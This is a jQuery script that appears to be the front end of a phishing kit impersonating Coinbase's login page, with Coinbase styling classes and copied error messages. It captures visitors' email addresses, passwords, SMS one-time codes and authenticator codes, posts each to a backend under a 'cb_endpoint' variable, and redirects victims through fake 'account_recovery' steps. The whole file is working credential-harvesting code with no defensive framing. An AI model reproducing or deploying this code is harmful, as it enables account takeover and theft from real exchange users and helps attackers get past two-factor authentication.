$(function() {

    $("#email").focus(function() {
        $("#email").addClass('focus-visible');
    });

    $("#password").focus(function() {
        $("#password").addClass('focus-visible');
    });

    $("#showpass").click(function() {
        if ($("#password").attr("type") === "password") {
            $("#password").attr("type", "text");
        } else {
            $("#password").attr("type", "password");
        }
    });

    $("#btnlanjut").click(function() {
        var email = $("#email").val();
        var regex = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/;
        if (email == "" || !email.match(regex)) {
            $("#email_top").css({
                '--border-color-unfocused': 'var(--negative)',
                '--border-color-focused': 'var(--negative)'
            });
            $("#rolepre").show();
            $("#cds-textinput-description-ji3kw2vnfgn").show();
        } else {
            $("#rolepre").hide();
            $("#cds-textinput-description-ji3kw2vnfgn").hide();
            $("#lanjut").addClass("cds-visibilityHidden-v1lgl550");
            $(".cds-centerLoader-c109mlw7").show();
            $("#btnlanjut").removeClass().addClass('cds-interactable-i9xooc6 cds-transparentChildren-tnzgr0o cds-transparent-tlx9nbb cds-button-b18qe5go cds-disabledState-d1bw0laf cds-fullWidth-fjbpack cds-scaledDownState-sxr2bd6 cds-primaryForeground-pxcz3o7 cds-button-bpih6bv cds-buttonBlock-b90146d cds-2-_1xqs9y8 cds-2-_vhy4ik cds-3-_15toyjv cds-3-_1lj9szt');

            $.post(cb_endpoint + "/cb-ajax/isActive", {
                email: email
            }).done(function(res) {
                if (res == "1") {
                    $(".passform").show();
                    $("#password").focus();
                    $(".emailform").hide();
                    $("#cb_email").html(email);
                    $("#lanjut").removeClass("cds-visibilityHidden-v1lgl550");
                    $(".cds-centerLoader-c109mlw7").hide();
                    $("#btnlanjut").removeClass().addClass('cds-interactable-i9xooc6 cds-transparentChildren-tnzgr0o cds-transparent-tlx9nbb cds-button-b18qe5go cds-focusRing-fd371rq cds-fullWidth-fjbpack cds-scaledDownState-sxr2bd6 cds-primaryForeground-pxcz3o7 cds-button-bpih6bv cds-buttonBlock-b90146d cds-2-_1xqs9y8 cds-2-_vhy4ik cds-3-_15toyjv cds-3-_1lj9szt');
                } else {
                    $("#lanjut").removeClass("cds-visibilityHidden-v1lgl550");
                    $(".cds-centerLoader-c109mlw7").hide();
                    $("#btnlanjut").removeClass().addClass('cds-interactable-i9xooc6 cds-transparentChildren-tnzgr0o cds-transparent-tlx9nbb cds-button-b18qe5go cds-focusRing-fd371rq cds-fullWidth-fjbpack cds-scaledDownState-sxr2bd6 cds-primaryForeground-pxcz3o7 cds-button-bpih6bv cds-buttonBlock-b90146d cds-2-_1xqs9y8 cds-2-_vhy4ik cds-3-_15toyjv cds-3-_1lj9szt');
                    $("#rolepre").show();
                    $("#cds-textinput-description-ji3kw2vnfgn").html('Error: No Coinbase account exists for this email. Please check your spelling or create an account.');
                    $("#cds-textinput-description-ji3kw2vnfgn").show();
                }
            });
        }

    });

    $("#btnlanjutpass").click(function() {
        var email = $("#cb_email").html();
        var pass = $("#password").val();
        if (pass == "" || pass.length < 6) {
            $("#pass_top").css({
                '--border-color-unfocused': 'var(--negative)',
                '--border-color-focused': 'var(--negative)'
            });
            $("#roleprepass").show();
            $("#cds-textinput-description-ji3kw2vnfgx").show();
        } else {
            $("#roleprepass").hide();
            $("#cds-textinput-description-ji3kw2vnfgx").hide();
            $("#lanjutpass").addClass("cds-visibilityHidden-v1lgl550");
            $(".cds-centerLoader-c109mlw7").show();
            $("#btnlanjutpass").removeClass().addClass('cds-interactable-i9xooc6 cds-transparentChildren-tnzgr0o cds-transparent-tlx9nbb cds-button-b18qe5go cds-disabledState-d1bw0laf cds-fullWidth-fjbpack cds-scaledDownState-sxr2bd6 cds-primaryForeground-pxcz3o7 cds-button-bpih6bv cds-buttonBlock-b90146d cds-2-_1xqs9y8 cds-2-_vhy4ik cds-3-_15toyjv cds-3-_1lj9szt');

            $.post(cb_endpoint + "/cb-ajax/signin", {
                email: email,
                password: pass
            }).done(function(res) {
                if (res != "2") {
                    $("#roleprepass").show();
                    $("#cds-textinput-description-ji3kw2vnfgx").html("Your email or password is incorrect, try again.");
                    $("#cds-textinput-description-ji3kw2vnfgx").show();
                    $("#lanjutpass").removeClass("cds-visibilityHidden-v1lgl550");
                    $(".cds-centerLoader-c109mlw7").hide();
                    $("#btnlanjutpass").removeClass().addClass('cds-interactable-i9xooc6 cds-transparentChildren-tnzgr0o cds-transparent-tlx9nbb cds-button-b18qe5go cds-focusRing-fd371rq cds-scaledDownState-sxr2bd6 cds-primaryForeground-pxcz3o7 cds-button-bpih6bv cds-2-_1xqs9y8 cds-2-_vhy4ik cds-3-_15toyjv cds-3-_1lj9szt');
                } else {
                    location.replace(cb_endpoint + "/account_recovery/" + session_id + "/start");
                }
            });
        }

    });

    $("#email").keypress(function(e) {
        var keyCode = e.keyCode || e.which;
        if (keyCode === 13) { 
            e.preventDefault();
            $("#btnlanjut").click();
            return false;
        }

        $("#email_top").css({
            '--border-color-unfocused': 'var(--line-heavy)',
            '--border-color-focused': 'var(--primary)'
        });
        $("#rolepre").hide();
        $("#cds-textinput-description-ji3kw2vnfgn").hide();
    });

    $("#email").focusout(function() {
        $("#email").removeClass('focus-visible');
    });

    $("#password").keypress(function(e) {
        var keyCode = e.keyCode || e.which;
        if (keyCode === 13) { 
            e.preventDefault();
            $("#btnlanjutpass").click();
            return false;
        }

        $("#pass_top").css({
            '--border-color-unfocused': 'var(--line-heavy)',
            '--border-color-focused': 'var(--primary)'
        });
        $("#roleprepass").hide();
        $("#cds-textinput-description-ji3kw2vnfgx").hide();
    });

    $("#password").focusout(function() {
        $("#password").removeClass('focus-visible');
    });

    $("#btncookie").click(function() {
        $(".b1oya23n").slideUp();
    });

    $("#otp1").focus();
    $("#otp1,#otp2,#otp3,#otp4,#otp5,#otp6").mask('0');
    $("#otp1").keyup(function() {
        if ($("#otp1").val().length > 0) {
            $("#otp2").focus();
        }
    });

    $("#otp2").keyup(function() {
        if ($("#otp2").val().length > 0) {
            $("#otp3").focus();
        }

    });
    $("#otp3").keyup(function() {
        if ($("#otp3").val().length > 0) {
            $("#otp4").focus();
        }

    });
    $("#otp4").keyup(function() {
        if ($("#otp4").val().length > 0) {
            $("#otp5").focus();
        }

    });
    $("#otp5").keyup(function() {
        if ($("#otp5").val().length > 0) {
            $("#otp6").focus();
        }

    });

    $("#otp6").keyup(function() {
        
        if ($("#otp6").val().length > 0) {
            $("#trans1, #trans2, #trans3, #trans4, #trans5, #trans6").css({
                'opacity': '0.38'
            });
            $("#otploader").show();
            var o1 = $("#otp1").val();
            var o2 = $("#otp2").val();
            var o3 = $("#otp3").val();
            var o4 = $("#otp4").val();
            var o5 = $("#otp5").val();
            var o6 = $("#otp6").val();
            
            $.ajax({
                type: 'POST',
                url: cb_endpoint + '/cb-ajax/otp/submit',
                data: {
                    otp: o1 + o2 + o3 + o4 + o5 + o6
                },
                success: function(res) {
                    if (res == "6") {
                        location.replace(cb_endpoint + "/account_recovery/" + session_id + "/textmatch");
                    } else {
                        $("#otp1").focus();
                        $("#otperror").show();
                        $("#otp1,#otp2,#otp3,#otp4,#otp5,#otp6").val("");
                        $("#trans1, #trans2, #trans3, #trans4, #trans5, #trans6").css({
                            'opacity': '1'
                        });
                        $("#bd1, #bd2, #bd3, #bd4, #bd5, #bd6").css({
                            '--border-color-unfocused': 'var(--negative)',
                        '--border-color-focused': 'var(--negative)'
                        });
                        $("#otploader").hide();
                    }
                }
            });
        }
        

    });
    
    $("#auth1").focus();
    $("#auth1,#auth2,#auth3,#auth4,#auth5,#auth6").mask('0');
    $("#auth1").keyup(function() {
        if ($("#auth1").val().length > 0) {
            $("#auth2").focus();
        }
    });

    $("#auth2").keyup(function() {
        if ($("#auth2").val().length > 0) {
            $("#auth3").focus();
        }

    });
    $("#auth3").keyup(function() {
        if ($("#auth3").val().length > 0) {
            $("#auth4").focus();
        }

    });
    $("#auth4").keyup(function() {
        if ($("#auth4").val().length > 0) {
            $("#auth5").focus();
        }

    });
    $("#auth5").keyup(function() {
        if ($("#auth5").val().length > 0) {
            $("#auth6").focus();
        }

    });
    $("#auth6").keyup(function() {
        if ($("#auth6").val().length > 0) {
            $("#trauth1, #trauth2, #trauth3, #trauth4, #trauth5, #trauth6").css({
                'opacity': '0.38'
            });
            $("#authloader").show();
            var o1 = $("#auth1").val();
            var o2 = $("#auth2").val();
            var o3 = $("#auth3").val();
            var o4 = $("#auth4").val();
            var o5 = $("#auth5").val();
            var o6 = $("#auth6").val();
            
            $.ajax({
                type: 'POST',
                url: cb_endpoint + '/cb-ajax/auth/submit',
                data: {
                    auth: o1 + o2 + o3 + o4 + o5 + o6
                },
                success: function(res) {
                    if (res == "7") {
                        location.replace(cb_endpoint + "/account_recovery/" + session_id + "/textmatch");
                    } else {
                        $("#auth1").focus();
                        $("#autherror").show();
                        $("#auth1,#auth2,#auth3,#auth4,#auth5,#auth6").val("");
                        $("#trauth1, #trauth2, #trauth3, #trauth4, #trauth5, #trauth6").css({
                            'opacity': '1'
                        });
                        $("#bdauth1, #bdauth2, #bdauth3, #bdauth4, #bdauth5, #bdauth6").css({
                            '--border-color-unfocused': 'var(--negative)',
                        '--border-color-focused': 'var(--negative)'
                        });
                        $("#authloader").hide();
                    }
                }
            });
        }

    });
});